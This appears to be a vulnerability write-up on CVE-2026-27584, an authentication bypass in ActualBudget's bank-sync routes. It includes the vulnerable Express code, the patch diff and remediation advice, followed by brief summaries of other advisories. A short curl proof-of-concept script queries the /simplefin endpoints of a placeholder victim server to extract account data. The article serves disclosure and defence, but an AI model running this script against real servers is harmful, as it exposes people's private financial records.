Feb 25, 2026·6 min read·63 visits
The ActualBudget server forgot to ask "Who are you?" on its banking sync routes. Unauthenticated attackers could send POST requests to /simplefin or /pluggyai endpoints and download the server owner's complete financial history. Fixed in version 26.2.1 by adding session validation middleware.
ActualBudget, a local-first personal finance application designed for privacy enthusiasts, suffered from a critical authentication bypass in its server synchronization component. Specifically, the endpoints handling SimpleFIN and Pluggy.ai banking integrations lacked middleware verification, allowing unauthenticated attackers to query the server and retrieve sensitive financial data—including account balances and transaction histories—using the server owner's stored credentials.
In the modern era of surveillance capitalism, tools like ActualBudget are a godsend. They promise a "local-first" philosophy, meaning your financial data lives on your server, not in some venture-backed cloud that sells your transaction history to advertisers. Users self-host this stack, trusting that the isolation of their own infrastructure provides the ultimate security boundary.
But here is the dark irony of self-hosting: you are the sysadmin, the blue team, and the victim all at once. If the code you deploy has a hole, there is no corporate security team monitoring logs to save you. And CVE-2026-27584 is not just a hole; it is a tunnel.
This vulnerability targets the most sensitive part of the application: Bank Synchronization. To make life easier, ActualBudget integrates with providers like SimpleFIN and Pluggy.ai to automatically pull your bank transactions. The server acts as a proxy, holding the API secrets to talk to these banks. The vulnerability lies in how the server handled requests to trigger these syncs. Spoiler alert: it didn't handle them very well.
Under the hood, the ActualBudget server is a Node.js application using Express.js. If you have ever written an Express app, you know that security is often a chain of responsibility—literally. You chain middleware functions together to filter traffic. A typical secure route looks like this:
app.get('/secret', checkAuth, returnSecret);
The checkAuth middleware acts as the bouncer. If you don't have a valid session, you don't get in. The flaw in ActualBudget was a classic case of "security by omission." The developers created separate sub-applications for different integrations (app-simplefin.js and app-pluggyai.js) to keep the code modular and clean. While the main application and other modules (like GoCardless) correctly implemented the validateSessionMiddleware, these two specific modules did not.
They were initialized with logging and JSON parsing, but the session guard was completely absent. In the world of web frameworks, silence is consent. Because the code did not explicitly say "Stop unauthenticated users," Express happily passed the requests straight to the business logic. The server assumed that if you were knocking on the door, you must belong there.
Let's look at the "smoking gun" in packages/sync-server/src/app-simplefin/app-simplefin.js. This is where the magic (and the tragedy) happens. The fix, applied in commit ea937d100956ca56689ff852d99c28589e2a7d88, reveals just how simple the oversight was.
The Vulnerable Code:
// ... imports ...
import { requestLoggerMiddleware } from '../util/middlewares';
const app = express();
export { app as handlers };
app.use(requestLoggerMiddleware);
app.use(express.json());
// ROUTES DEFINED BELOW IMMEDIATELY
app.post('/accounts', async (req, res) => {
// ... fetches your bank data ...
});Notice anything missing? The code logs the request (requestLoggerMiddleware) and parses the body (express.json()), but it never checks if the request comes from a logged-in user. It just executes.
The Fix:
+ import {
+ requestLoggerMiddleware,
+ validateSessionMiddleware, // <--- The Bouncer
+ } from '../util/middlewares';
const app = express();
export { app as handlers };
app.use(requestLoggerMiddleware);
app.use(express.json());
+ app.use(validateSessionMiddleware); // <--- The LockBy adding that single line, the application now checks for a valid session cookie or token before processing any routes defined below it. Without it, the endpoint was effectively public API documentation for your bank account.
Exploiting this requires zero sophistication. There is no heap corruption, no race condition, and no cryptographic breakage. You simply ask the server for the data, and it gives it to you. An attacker scans the internet for exposed ActualBudget instances (which often run on default ports) and fires off a simple HTTP request.
Here is what a theoretical attack looks like. The attacker doesn't even need to know the user's username. They just hit the /simplefin/accounts endpoint.
#!/bin/bash
TARGET="http://victim-finance-server.com:5006"
# Step 1: Check if SimpleFIN is configured
echo "[*] Probing status..."
curl -s -X POST "$TARGET/simplefin/status" | jq .
# Step 2: Loot the vault
echo "[*] Extracting bank accounts..."
curl -s -X POST "$TARGET/simplefin/accounts" \
-H "Content-Type: application/json" \
-d '{}' | jq .> [!WARNING]
> The Response: If the server owner has connected their bank, the server responds with a JSON object containing accounts (balances, names, types) and potentially transactions (payees, amounts, dates).
The server performs the authentication with the bank using the stored keys on the backend, effectively laundering the unauthenticated request into an authenticated banking session.
The CVSS score of 9.2 is not an exaggeration. While this vulnerability does not allow Remote Code Execution (RCE) or direct modification of the server's filesystem, the Confidentiality Impact is catastrophic. We are talking about personal finance data.
An attacker exploiting this can view:
Furthermore, because ActualBudget is often self-hosted by technical users who might expose it to the internet for mobile access (without a VPN), the attack surface is wider than just "internal networks." The breach of trust here is total; a tool designed to protect your data from third parties ended up serving it to the entire internet.
The remediation is straightforward: Update to version 26.2.1 immediately. The developers have patched the missing middleware and added additional authorization checks to ensure that file access permissions are strictly enforced.
If you cannot update immediately, you must mitigate this at the network layer:
/simplefin and /pluggyai from external IP addresses.For developers reading this, the lesson is clear: Authorization and Authentication should be default-deny. Use global middleware that enforces authentication on all routes by default, and only whitelist specific public endpoints (like login pages). Relying on remembering to add validateSession to every new file is a strategy that will eventually fail.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
ActualBudget Server ActualBudget | < 26.2.1 | 26.2.1 |
| Attribute | Detail |
|---|---|
| CWE | CWE-306 (Missing Authentication for Critical Function) |
| CVSS v4.0 | 9.2 (Critical) |
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | None (PR:N) |
| Confidentiality Impact | High (VC:H) |
| Affected Components | SimpleFIN & Pluggy.ai Integration Modules |
The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
netfoil, an allowlist-based DNS proxy, failed to sanitize ALPN fields parsed from untrusted DNS-over-HTTPS (DoH) HTTPS Resource Records. This allowed attackers to inject ANSI escape sequences into log files or trigger Denial of Service (DoS) via uncontrolled memory allocations.
An issue was discovered in the tokio-postgres library for Rust prior to version 0.7.18. A trust assumption mismatch between the PostgreSQL protocol messages sent by a server and how they are parsed and indexed by the client-side library allows a rogue or compromised database server to trigger a Denial of Service (DoS) crash via an unhandled out-of-bounds slice indexing panic.
CVE-2026-14669 is a critical heap-based buffer overflow vulnerability in PostgreSQL's date/time formatting function to_char(timestamptz). The flaw arises from unsafe copying of user-controlled timezone abbreviations into a fixed-size internal buffer. An authenticated database user can trigger this issue by setting a long POSIX timezone abbreviation containing custom formatting, allowing them to overwrite adjacent heap structures and hijack execution control to achieve remote code execution (RCE) with the privileges of the 'postgres' operating system user.
An unauthenticated remote denial of service vulnerability exists in the Unleash feature management platform. By submitting a crafted JSON payload containing deeply nested structures to an OpenAPI-validated endpoint, an attacker can trigger uncontrolled recursion within the error formatting module. This leads to a call-stack exhaustion (RangeError: Maximum call stack size exceeded) inside the Node.js runtime, causing the service to crash immediately without recovery.
CVE-2026-63004 is a server-side request forgery (SSRF) vulnerability in the Unleash feature management platform. Authenticated administrators with CREATE_ADDON or UPDATE_ADDON privileges can exploit this vulnerability to initiate requests to loopback addresses, private networks, and cloud metadata endpoints, potentially leading to information disclosure and credential extraction.
Prior to version 8.0.3, Unleash's Markdown event formatter directly mutated the global template-escaping function of the shared mustache Node.js module, resulting in a process-wide security degradation where HTML/Markdown escaping was permanently disabled for the application lifetime.